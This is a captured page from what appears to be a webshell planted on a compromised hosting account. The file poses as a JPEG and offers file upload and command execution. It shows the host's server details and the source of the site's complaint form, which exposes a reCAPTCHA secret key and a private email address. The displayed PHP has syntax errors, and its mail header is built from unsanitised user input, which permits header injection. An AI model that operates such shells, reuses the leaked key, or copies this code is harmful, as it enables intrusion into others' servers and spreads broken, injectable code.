���� JFIF    adgknasdgsa403WebShell
403Webshell
Server IP : 84.32.84.41  /  Your IP : 3.14.29.42
Web Server : LiteSpeed
System : Linux us-imm-web537.main-hosting.eu 4.18.0-513.11.1.lve.el7h.x86_64 #1 SMP Thu Jan 18 15:21:24 UTC 2024 x86_64
User : u547896322 ( 547896322)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u547896322/domains/amrutimba.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u547896322/domains/amrutimba.com/public_html/submit_form.php







<?php

$secretKey = '6LfSndcpAAAAAP90FPTfjwix_7gXfwZpVrXMGX3Y';

$recipientEmail = 'jayeshmole1112@gmail.com';

$postData = $valErr = $statusMsg = '';
$status = 'error';

if(isset($_POST['submit_frm'])){
    $postData = $_POST;
    $name = trim($_POST['name']);
    $mobile = trim($_POST['mobile']);
    $email = trim($_POST['email']); 
    $course = trim($_POST['course']);
    $complaint = trim($_POST['complaint']);
    $details = trim($_POST['details']);

    if(empty($name)){
        $valErr = 'Please enter your name.<br/>';
    }
    if(empty($mobile)){
        $valErr = 'Please enter your mobile.<br/>';
    }
    if(empty($email)  filter_var($email, FILTER_VALIDATE_EMAIL) === false){
        $valErr = 'Please enter your mobile.<br/>';
    } 
     if(empty($course)){
        $valErr = 'Please select.<br/>';
    }
    if(empty($complaint)){
        $valErr = 'Please enter your complaint.<br/>';
    }
    if(empty($details)){
        $valErr = 'Please enter your complaint.<br/>';
    }
    
    if(empty($valErr)){
        if(isset($_POST['g-recaptcha-response']) && !empty($_POST['g-recaptcha-response'])){
            $api_url = 'https://www.google.com/recaptcha/api/siteverify';
            $resq_data = array(
                    'secret' => $secretKey,
                    'response' => $_POST['g-recaptcha-response'],
                    'remoteip' => $_SERVER['REMOTE_ADDR']
                );
            
            $curlConfig = array(
                    CURLOPT_URL => $api_url,
                    CURLOPT_POST => true,
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_POSTFIELDS => $resq_data
                );
                
                $ch = curl_init();
                curl_setopt_array($ch, $curlConfig);
                $response = curl_exec($ch);
                curl_close($ch);
                
                $responseData = json_decode($response);
                
                if($responseData->success){
                    $to = $recipientEmail;
                    $subject = 'New form submitted',
                    $htmlContent = "
                        <h4>Complaint form</h4>
                        <p><b>Name: </b>".$name."</p>
                        <p><b>mobile: </b>".$mobile."</p>
                        <p><b>email: </b>".$email."</p>
                        <p><b>course: </b>".$course."</p>
                        <p><b>complaint: </b>".$complaint."</p>
                        <p><b>details: </b>".$details."</p>
                    ";
                    
                    $headers = "MIME-Version: 1.0" . "\r\n";
                    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
                    
                    $headers .= 'from:'.$name.' <'.$email.' >' . "\r\n";
                    
                    mail($to, $subject, $htmlContent, $headers);
                    
                    $status = 'success';
                    $statusMsg = 'Thank you! Your form has been submitted successfully.';
                    $postData = '';
                    
                    
                }else{
                    $statusMsg = 'The reCAPTCHA verification is failed, please try again';
                    
                }
            
        }else{
            $statusMsg = 'Something went wrong, please try again';
        }
        
    }else{
        $valErr = !empty($valErr)?'<br/>'.trim($valErr,'<br/>'):'';
        $statusMsg = 'please fill all the mandatory fields:'.$valErr;
    }
    
    
}

?>





Youez - 2016 - github.com/yon3zu
LinuXploit